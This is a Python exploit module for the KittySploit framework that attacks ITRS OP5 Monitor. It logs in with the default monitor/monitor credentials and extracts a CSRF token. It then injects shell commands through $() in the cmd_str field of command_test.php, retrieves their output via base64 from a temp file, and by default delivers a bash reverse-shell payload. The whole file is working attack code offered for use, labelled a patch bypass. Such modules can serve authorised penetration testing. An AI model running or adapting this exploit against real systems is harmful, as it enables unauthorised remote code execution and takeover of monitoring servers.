ITRS OP5 Monitor command_test.php patch bypass RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ITRS OP5 Monitor command_test.php authenticated command injection RCE."""

from __future__ import annotations

import base64
import re
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "ITRS OP5 Monitor command_test.php patch bypass RCE",
        "description": (
            "Authenticated monitor/monitor → CSRF → command_test.php "
            "$() injection with base64 output retrieval."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["itrs", "op5", "rce", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/op5_patch_bypass_rce_detect"],
            },
        },
    }

    port = OptPort(9443, "OP5 Monitor HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("monitor", "Web username", required=False)
    password = OptString("monitor", "Web password", required=False)

    def _csrf(self) -> str | None:
        login_path = "/monitor/index.php/auth/login"
        self.http_request("GET", login_path, session=True)
        body = urlencode(
            {
                "csrf_token": "",
                "username": str(self.username or "monitor"),
                "password": str(self.password or "monitor"),
                "login": "Login",
            }
        )
        post = self.http_request(
            "POST",
            login_path,
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
            allow_redirects=False,
        )
        if not post or int(post.status_code or 0) not in (302, 303):
            return None
        dash = self.http_request("GET", "/monitor/index.php/tac/index/1", session=True)
        html = (dash.text or "") if dash else ""
        m = re.search(r"csrf_token\s*=\s*['\"]([A-Za-z0-9+/=]{20,})['\"]", html)
        if not m:
            m = re.search(r"name=['\"]csrf_token['\"][^>]*value=['\"]([A-Za-z0-9+/=]{20,})['\"]", html)
        return m.group(1) if m else None

    def _decode_output(self, body: str) -> str | None:
        candidates: list[str] = []
        for line in body.splitlines():
            line = line.strip()
            m = re.match(r"^([A-Za-z0-9+/=]{8,})$", line)
            if m:
                candidates.append(m.group(1))
            m = re.search(r"execvp\(([A-Za-z0-9+/=]{8,}),", line)
            if m:
                candidates.append(m.group(1))
            m = re.search(r"/bin/sh:\s*([A-Za-z0-9+/=]{8,}):", line)
            if m:
                candidates.append(m.group(1))
        for cand in candidates:
            try:
                decoded = base64.b64decode(cand).decode("utf-8", errors="replace")
                if decoded and not decoded.startswith("\x00"):
                    return decoded
            except (ValueError, UnicodeDecodeError):
                continue
        return None

    def execute(self, cmd: str) -> str:
        csrf = self._csrf()
        if not csrf:
            return "OP5 login or CSRF extraction failed"
        url = "/monitor/op5/nacoma/command_test.php"
        marker = f"/tmp/op5_poc_out_{abs(hash(cmd)) % 100000}"
        run_body = urlencode({"cmd_str": f"$( {{ {cmd}; }} > {marker} 2>&1 )", "csrf_token": csrf})
        run = self.http_request(
            "POST",
            url,
            data=run_body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        if not run or int(run.status_code or 0) != 200:
            return f"command run failed HTTP {getattr(run, 'status_code', '?')}"
        get_body = urlencode({"cmd_str": f"$( base64 -w0 {marker} )", "csrf_token": csrf})
        get = self.http_request(
            "POST",
            url,
            data=get_body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        if not get:
            return "retrieve step failed"
        out = self._decode_output(get.text or "")
        return out or (get.text or "")[:4000]

    def check(self):
        resp = self.http_request("GET", "/monitor/index.php/auth/login")
        if resp and int(resp.status_code or 0) < 500:
            return {"vulnerable": True, "reason": "OP5 login reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "OP5 not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("command_test.php injection")
        out = self.execute(shell)
        if out and "failed" not in out.lower()[:25]:
            print_success("Output:")
            print_info(out[:8000])
            self.vulnerable()
            return bool(str(self.shell_from_payload() or "").strip())
        print_error(out or "Exploit failed")
        self.not_vulnerable()
        return False